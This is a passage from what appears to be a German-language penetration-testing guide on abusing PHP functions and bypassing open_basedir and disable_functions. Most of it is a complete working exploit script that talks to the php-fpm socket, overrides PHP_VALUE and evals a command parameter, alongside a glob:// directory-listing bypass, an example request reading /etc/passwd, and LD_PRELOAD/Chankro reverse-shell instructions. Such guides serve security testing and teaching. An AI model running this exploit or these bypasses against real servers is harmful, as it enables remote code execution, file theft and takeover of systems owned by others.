pcntl_exec - Führt ein Programm aus (standardmäßig müssen Sie in modernen und nicht so modernen PHP-Versionen das pcntl.so-Modul laden, um diese Funktion zu verwenden)
mail / mb_send_mail - Diese Funktion wird verwendet, um E-Mails zu senden, kann jedoch auch missbraucht werden, um beliebige Befehle im $options-Parameter einzufügen. Dies liegt daran, dass die php mail-Funktion normalerweise das sendmail-Binary im System aufruft und es Ihnen ermöglicht, zusätzliche Optionen hinzuzufügen. Sie werden jedoch nicht in der Lage sein, die Ausgabe des ausgeführten Befehls zu sehen, daher wird empfohlen, ein Shell-Skript zu erstellen, das die Ausgabe in eine Datei schreibt, es mit mail auszuführen und die Ausgabe anzuzeigen:
dl - Diese Funktion kann verwendet werden, um eine PHP-Erweiterung dynamisch zu laden. Diese Funktion ist nicht immer vorhanden, daher sollten Sie überprüfen, ob sie verfügbar ist, bevor Sie versuchen, sie auszunutzen. Lesen Sie diese Seite, um zu lernen, wie man diese Funktion ausnutzt.
PHP-Codeausführung
Neben eval gibt es andere Möglichkeiten, PHP-Code auszuführen: include/require können für die Remote-Codeausführung in Form von Local File Include und Remote File Include-Schwachstellen verwendet werden.
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
disable_functions & open_basedir
Deaktivierte Funktionen ist die Einstellung, die in .ini-Dateien in PHP konfiguriert werden kann, die die Verwendung der angegebenen Funktionenverboten wird. Open basedir ist die Einstellung, die PHP den Ordner angibt, auf den es zugreifen kann.
Die PHP-Einstellung sollte im Pfad /etc/php7/conf.d oder ähnlich konfiguriert werden.
Beide Konfigurationen können in der Ausgabe von phpinfo() gesehen werden:
open_basedir Bypass
open_basedir konfiguriert die Ordner, auf die PHP zugreifen kann, Sie werden nicht in der Lage sein, Dateien außerhalb dieser Ordner zu schreiben/lesen/auszuführen, aber Sie werden nicht einmal in der Lage sein, andere Verzeichnisse aufzulisten.
Wenn Sie jedoch irgendwie in der Lage sind, beliebigen PHP-Code auszuführen, können Sie versuchen, den folgenden Code-Schnipsel zu verwenden, um die Einschränkung zu umgehen.
Auflisten von Verzeichnissen mit glob:// Bypass
In diesem ersten Beispiel wird das glob://-Protokoll mit einem bestimmten Pfad-Bypass verwendet:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
Hinweis1: Im Pfad können Sie auch /e??/* verwenden, um /etc/* und jeden anderen Ordner aufzulisten.
Hinweis2: Es sieht so aus, als wäre ein Teil des Codes dupliziert, aber das ist tatsächlich notwendig!
Hinweis3: Dieses Beispiel ist nur nützlich, um Ordner aufzulisten, nicht um Dateien zu lesen.
Vollständiger open_basedir Bypass unter Ausnutzung von FastCGI
Wenn Sie mehr über PHP-FPM und FastCGI erfahren möchten, können Sie den ersten Abschnitt dieser Seite lesen.
Wenn php-fpm konfiguriert ist, können Sie es ausnutzen, um open_basedir vollständig zu umgehen:
Beachten Sie, dass das erste, was Sie tun müssen, ist, herauszufinden, wo sich der Unix-Socket von php-fpm befindet. Er befindet sich normalerweise unter /var/run, sodass Sie den vorherigen Code verwenden können, um das Verzeichnis aufzulisten und ihn zu finden.
Code von hier.
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Dieses Skript wird mit dem Unix-Socket von php-fpm kommunizieren (normalerweise in /var/run, wenn fpm verwendet wird), um beliebigen Code auszuführen. Die open_basedir-Einstellungen werden durch das PHP_VALUE-Attribut, das gesendet wird, überschrieben.
Beachten Sie, wie eval verwendet wird, um den PHP-Code auszuführen, den Sie im cmd-Parameter senden.
Beachten Sie auch die auskommentierte Zeile 324, Sie können sie einkommentieren und der Payload wird automatisch eine Verbindung zur angegebenen URL herstellen und den dort enthaltenen PHP-Code ausführen.
Greifen Sie einfach auf http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); zu, um den Inhalt der Datei /etc/passwd zu erhalten.
Sie denken vielleicht, dass wir auf die gleiche Weise die open_basedir-Konfiguration überschrieben haben, wir können auch disable_functionsüberschreiben. Nun, versuchen Sie es, aber es wird nicht funktionieren, anscheinend kann disable_functions nur in einer .ini-PHP-Konfigurationsdatei konfiguriert werden und die Änderungen, die Sie mit PHP_VALUE vornehmen, sind bei dieser speziellen Einstellung nicht wirksam.
disable_functions Bypass
Wenn Sie es schaffen, PHP-Code auf einer Maschine auszuführen, möchten Sie wahrscheinlich auf die nächste Stufe gehen und beliebige Systembefehle ausführen. In dieser Situation ist es üblich, dass die meisten oder alle PHP-Funktionen, die es ermöglichen, Systembefehle auszuführen, in disable_functions deaktiviert wurden.
Sehen wir uns also an, wie Sie diese Einschränkung umgehen können (wenn Sie können).
Automatische Bypass-Entdeckung
Sie können das Tool https://github.com/teambi0s/dfunc-bypasser verwenden, und es wird Ihnen anzeigen, welche Funktion (falls vorhanden) Sie verwenden können, um disable_functionszu umgehen.
Umgehung mit anderen Systemfunktionen
Kehren Sie einfach zum Anfang dieser Seite zurück und prüfen Sie, ob eine der Befehlsausführungsfunktionen nicht deaktiviert und in der Umgebung verfügbar ist. Wenn Sie nur eine davon finden, können Sie sie verwenden, um beliebige Systembefehle auszuführen.
LD_PRELOAD Bypass
Es ist bekannt, dass einige Funktionen in PHP wie mail()Binaries im System ausführen. Daher können Sie sie missbrauchen, indem Sie die Umgebungsvariable LD_PRELOAD verwenden, um eine beliebige Bibliothek zu laden, die alles ausführen kann.
Funktionen, die verwendet werden können, um disable_functions mit LD_PRELOAD zu umgehen
mail
mb_send_mail: Effektiv, wenn das php-mbstring-Modul installiert ist.
imap_mail: Funktioniert, wenn das php-imap-Modul vorhanden ist.
libvirt_connect: Erfordert das php-libvirt-php-Modul.
gnupg_init: Nutzbar mit dem installierten php-gnupg-Modul.
new imagick(): Diese Klasse kann missbraucht werden, um Einschränkungen zu umgehen. Detaillierte Ausbeutungstechniken finden Sie in einem umfassenden Writeup hier.
Sie können hier finden das Fuzzing-Skript, das verwendet wurde, um diese Funktionen zu finden.
Hier ist eine Bibliothek, die Sie kompilieren können, um die Umgebungsvariable LD_PRELOAD zu missbrauchen:
Um diese Fehlkonfiguration auszunutzen, können Sie Chankro verwenden. Dies ist ein Tool, das einen PHP-Exploit generiert, den Sie auf den verwundbaren Server hochladen und ausführen müssen (über das Web darauf zugreifen).
Chankro wird die Bibliothek und die Reverse-Shell, die Sie ausführen möchten, auf der Festplatte des Opfers schreiben und den**LD_PRELOAD-Trick + PHP mail()** Funktion verwenden, um die Reverse-Shell auszuführen.
Beachten Sie, dass mail und putenvnicht in der disable_functions-Liste erscheinen dürfen, um Chankro verwenden zu können.
Im folgenden Beispiel sehen Sie, wie Sie einen Chankro-Exploit für arch 64 erstellen, der whoami ausführt und die Ausgabe in /tmp/chankro_shell.out speichert. Chankro wird die Bibliothek und die Payload in /tmp schreiben und der endgültige Exploit wird bicho.php genannt (das ist die Datei, die Sie auf den Server des Opfers hochladen müssen):
Beachten Sie, dass Sie mit PHPDateien lesen und schreiben, Verzeichnisse erstellen und Berechtigungen ändern können.
Sie können sogar Datenbanken dumpen.
Vielleicht können Sie mit PHP die Box enumerieren und einen Weg finden, Privilegien zu eskalieren/Befehle auszuführen (zum Beispiel, indem Sie einen privaten SSH-Schlüssel lesen).
Ich habe eine Webshell erstellt, die es sehr einfach macht, diese Aktionen durchzuführen (beachten Sie, dass die meisten Webshells Ihnen auch diese Optionen anbieten): https://github.com/carlospolop/phpwebshelllimited
Module/Versionsabhängige Bypässe
Es gibt mehrere Möglichkeiten, die disable_functions zu umgehen, wenn ein bestimmtes Modul verwendet wird oder eine bestimmte PHP-Version ausgenutzt wird:
Diese Funktionen akzeptieren einen String-Parameter, der verwendet werden könnte, um eine Funktion nach Wahl des Angreifers aufzurufen. Je nach Funktion hat der Angreifer möglicherweise die Möglichkeit, einen Parameter zu übergeben oder auch nicht. In diesem Fall könnte eine Informationsoffenlegungsfunktion wie phpinfo() verwendet werden.
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
Informationsoffenlegung
Die meisten dieser Funktionsaufrufe sind keine Senken. Es könnte jedoch eine Schwachstelle vorliegen, wenn Daten, die zurückgegeben werden, für einen Angreifer einsehbar sind. Wenn ein Angreifer phpinfo() sehen kann, ist es definitiv eine Schwachstelle.
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
Filesystem-Funktionen
Laut RATS sind alle Dateisystemfunktionen in PHP unangenehm. Einige davon scheinen für den Angreifer nicht sehr nützlich zu sein. Andere sind nützlicher, als man denkt. Wenn allow_url_fopen=On ist, kann eine URL als Dateipfad verwendet werden, sodass ein Aufruf von copy($_GET['s'], $_GET['d']); verwendet werden kann, um ein PHP-Skript überall im System hochzuladen. Wenn eine Website auch anfällig für eine über GET gesendete Anfrage ist, können alle diese Dateisystemfunktionen missbraucht werden, um einen Angriff über Ihren Server an einen anderen Host zu leiten.
In das Dateisystem schreiben (teilweise in Kombination mit Lesen)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir